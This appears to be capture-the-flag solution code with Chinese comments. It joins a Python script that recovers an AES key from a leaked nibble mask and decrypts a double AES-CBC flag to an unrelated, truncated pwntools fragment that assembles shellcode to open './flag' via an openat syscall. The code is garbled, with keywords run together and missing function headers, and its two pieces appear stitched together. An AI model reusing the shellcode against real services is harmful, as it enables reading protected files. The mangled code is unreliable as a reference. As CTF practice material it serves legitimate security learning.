# 输入验证 iflen(key1_hex) != 32: raise ValueError("key1_hex must be 32 hexadecimal characters") iflen(cipher) % 16 != 0: raise ValueError("cipher length must be a multiple of 16 bytes") iflen(cipher) < 16: raise ValueError("cipher is too short to contain valid plaintext")
# 将 gift 拆分成 32 个 nibble gift_bin = format(gift, '0128b') gift_nibbles = [int(gift_bin[i*4:(i+1)*4], 2) for i inrange(32)]
# 将 key1 拆分成 32 个 nibble key1_nibbles = [int(key1_hex[i:i+1], 16) for i inrange(32)]
# 计算每个位置的候选值 pos_cands = [] for i inrange(32): m = key1_nibbles[i] b = gift_nibbles[i] cands = [x for x inrange(16) if (x & m) == b] pos_cands.append(cands)
# 按 key1_nibble 的值分组,交叉约束得到每个值的候选集合 positions_by_y = defaultdict(list) for i, y inenumerate(key1_nibbles): positions_by_y[y].append(i)
y_cands = {} for y, poses in positions_by_y.items(): s = set(pos_cands[poses[0]]) for i in poses[1:]: s &= set(pos_cands[i]) y_cands[y] = list(s)
# 回溯枚举全局反置换 inv_map: y -> x used = set() inv_map = {} solutions = []
# 按候选集大小升序排序,优先分配约束最严的 y items = sorted(y_cands.items(), key=lambda kv: len(kv[1]))
defdfs(idx): if idx == len(items): key0_nibbles = [inv_map.get(y, 0) for y in key1_nibbles] key0_hex = "".join(f"{n:x}"for n in key0_nibbles) try: # 转换为字节形式的密钥 key0_bytes = bytes.fromhex(key0_hex) key1_bytes = bytes.fromhex(key1_hex) # 双重AES-CBC解密 aes0 = AES.new(key0_bytes, AES.MODE_CBC, key1_bytes) aes1 = AES.new(key1_bytes, AES.MODE_CBC, key0_bytes) pt = unpad(aes0.decrypt(aes1.encrypt(cipher)), AES.block_size) if pt.startswith(b"flag{"): print(f"Found correct key0: {key0_hex}") print(f"Plaintext flag: {pt.decode()}") solutions.append((key0_hex, pt.decode())) returnTrue# 找到一个解后停止(可改为 False 枚举所有解) except Exception as e: pass# 调试时可打印:print(f"Decryption failed for key0 {key0_hex}: {e}") returnFalse
y, cands = items[idx] for x in cands: if x in used: continue inv_map[y] = x used.add(x) if dfs(idx + 1): returnTrue used.remove(x) del inv_map[y] returnFalse
ifnot solutions: print("No valid solution found. Please check the following:") print("- gift and key1_hex are correct") print("- ciphertext matches the encryption logic") print("- Double AES-CBC encryption/decryption logic is consistent with the problem requirements") else: print(f"Found {len(solutions)} solutions")
p.recvuntil("[BOSS] Say your last word to your territory: ") payload=asm(''' movrax, 0x67616c662f2e pushrax xorrdi, rdi subrdi, 100 movrsi, rsp xoredx, edx xorr10, r10 push SYS_openat poprax syscall